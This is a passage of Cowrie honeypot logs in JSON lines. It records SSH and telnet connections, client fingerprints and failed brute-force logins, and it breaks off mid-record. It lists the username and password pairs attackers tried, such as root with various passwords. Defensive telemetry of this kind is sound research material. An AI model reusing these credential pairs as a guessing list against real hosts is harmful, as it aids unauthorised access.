{"eventid":"cowrie.login.failed","username":"user","password":"111111","message":"login attempt [user/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:56:21.628129Z","src_ip":"91.92.40.4","session":"e5466afe5cff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:56:22.711492Z","src_ip":"91.92.40.4","session":"e5466afe5cff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"146.190.154.85","src_port":57594,"dst_ip":"159.203.135.109","dst_port":22,"session":"3a614dd31d6f","protocol":"ssh","message":"New connection: 146.190.154.85:57594 (159.203.135.109:22) [session: 3a614dd31d6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:56:29.084289Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:56:29.087919Z","src_ip":"146.190.154.85","session":"3a614dd31d6f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:56:29.167984Z","src_ip":"146.190.154.85","session":"3a614dd31d6f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tech","password":"tech123","message":"login attempt [tech/tech123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:56:29.505183Z","src_ip":"146.190.154.85","session":"3a614dd31d6f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:56:30.585340Z","src_ip":"146.190.154.85","session":"3a614dd31d6f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.144.88.94","src_port":54048,"dst_ip":"159.203.135.109","dst_port":22,"session":"a958455174b2","protocol":"ssh","message":"New connection: 162.144.88.94:54048 (159.203.135.109:22) [session: a958455174b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:56:33.023716Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:56:33.027960Z","src_ip":"162.144.88.94","session":"a958455174b2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:56:33.112760Z","src_ip":"162.144.88.94","session":"a958455174b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jaxxwallet","password":"jaxx123","message":"login attempt [jaxxwallet/jaxx123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:56:33.366436Z","src_ip":"162.144.88.94","session":"a958455174b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:56:34.738770Z","src_ip":"162.144.88.94","session":"a958455174b2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":44508,"dst_ip":"159.203.135.109","dst_port":23,"session":"824350d7f4aa","protocol":"telnet","message":"New connection: 170.64.224.25:44508 (159.203.135.109:23) [session: 824350d7f4aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:56:43.250084Z"}
{"eventid":"cowrie.session.connect","src_ip":"177.16.244.39","src_port":34781,"dst_ip":"10.17.0.5","dst_port":22,"session":"254f75d3522a","protocol":"ssh","message":"New connection: 177.16.244.39:34781 (10.17.0.5:22) [session: 254f75d3522a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:56:53.680107Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:56:53.683669Z","src_ip":"177.16.244.39","session":"254f75d3522a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:56:53.811669Z","src_ip":"177.16.244.39","session":"254f75d3522a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123-qwe","message":"login attempt [root/123-qwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:56:54.356208Z","src_ip":"177.16.244.39","session":"254f75d3522a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:56:55.485770Z","src_ip":"177.16.244.39","session":"254f75d3522a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.83587098121643,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:56:57.723728Z","src_ip":"170.64.224.25","session":"c0293f52d27b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":18.928287506103516,"message":"Connection lost after 18 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:57:02.178252Z","src_ip":"170.64.224.25","session":"824350d7f4aa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"154.18.197.35","src_port":36796,"dst_ip":"159.203.135.109","dst_port":22,"session":"1d2cc0def564","protocol":"ssh","message":"New connection: 154.18.197.35:36796 (159.203.135.109:22) [session: 1d2cc0def564]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:57:06.697285Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:57:06.703972Z","src_ip":"154.18.197.35","session":"1d2cc0def564","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:57:06.916263Z","src_ip":"154.18.197.35","session":"1d2cc0def564","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345ssdlh","message":"login attempt [root/12345ssdlh] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:57:07.798758Z","src_ip":"154.18.197.35","session":"1d2cc0def564","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:57:09.016980Z","src_ip":"154.18.197.35","session":"1d2cc0def564","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.36.147.215","src_port":55636,"dst_ip":"10.17.0.5","dst_port":22,"session":"00472dbe2a87","protocol":"ssh","message":"New connection: 194.36.147.215:55636 (10.17.0.5:22) [session: 00472dbe2a87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:57:13.601017Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:57:13.605827Z","src_ip":"194.36.147.215","session":"00472dbe2a87","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:57:13.691166Z","src_ip":"194.36.147.215","session":"00472dbe2a87","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"XVG$S3cur3@W0rd","message":"login attempt [root/XVG$S3cur3@W0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:57:13.950654Z","src_ip":"194.36.147.215","session":"00472dbe2a87","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:57:15.038163Z","src_ip":"194.36.147.215","session":"00472dbe2a87","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.57.219.18","src_port":54096,"dst_ip":"10.17.0.5","dst_port":22,"session":"d756d27a10af","protocol":"ssh","message":"New connection: 198.57.219.18:54096 (10.17.0.5:22) [session: d756d27a10af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:57:23.796613Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:57:23.801435Z","src_ip":"198.57.219.18","session":"d756d27a10af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:57:23.890061Z","src_ip":"198.57.219.18","session":"d756d27a10af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"B1tg3t$Tr0ng@W0rd","message":"login attempt [root/B1tg3t$Tr0ng@W0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:57:24.169865Z","src_ip":"198.57.219.18","session":"d756d27a10af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:57:25.261034Z","src_ip":"198.57.219.18","session":"d756d27a10af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":53350,"dst_ip":"159.203.135.109","dst_port":23,"session":"9cf5baec1e33","protocol":"telnet","message":"New connection: 170.64.224.25:53350 (159.203.135.109:23) [session: 9cf5baec1e33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:57:56.579425Z"}
{"eventid":"cowrie.session.connect","src_ip":"20.228.179.34","src_port":48986,"dst_ip":"159.203.135.109","dst_port":22,"session":"e45020ccfdab","protocol":"ssh","message":"New connection: 20.228.179.34:48986 (159.203.135.109:22) [session: e45020ccfdab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:58:07.125105Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:58:07.129968Z","src_ip":"20.228.179.34","session":"e45020ccfdab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:58:07.140418Z","src_ip":"20.228.179.34","session":"e45020ccfdab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"letmein#@!$%^&","message":"login attempt [root/letmein#@!$%^&] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:58:07.175471Z","src_ip":"20.228.179.34","session":"e45020ccfdab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:58:08.188302Z","src_ip":"20.228.179.34","session":"e45020ccfdab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":57598,"dst_ip":"159.203.135.109","dst_port":23,"session":"b33c52e3f465","protocol":"telnet","message":"New connection: 107.6.151.170:57598 (159.203.135.109:23) [session: b33c52e3f465]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:58:18.923853Z"}
{"eventid":"cowrie.session.closed","duration":0.0046117305755615234,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:58:18.928309Z","src_ip":"107.6.151.170","session":"b33c52e3f465","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":52096,"dst_ip":"159.203.135.109","dst_port":23,"session":"a9906c3937f8","protocol":"telnet","message":"New connection: 170.64.224.25:52096 (159.203.135.109:23) [session: a9906c3937f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:58:19.472801Z"}
{"eventid":"cowrie.session.connect","src_ip":"146.190.154.85","src_port":49644,"dst_ip":"159.203.135.109","dst_port":22,"session":"1513bb8dfa40","protocol":"ssh","message":"New connection: 146.190.154.85:49644 (159.203.135.109:22) [session: 1513bb8dfa40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:58:22.557644Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:58:22.562593Z","src_ip":"146.190.154.85","session":"1513bb8dfa40","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com"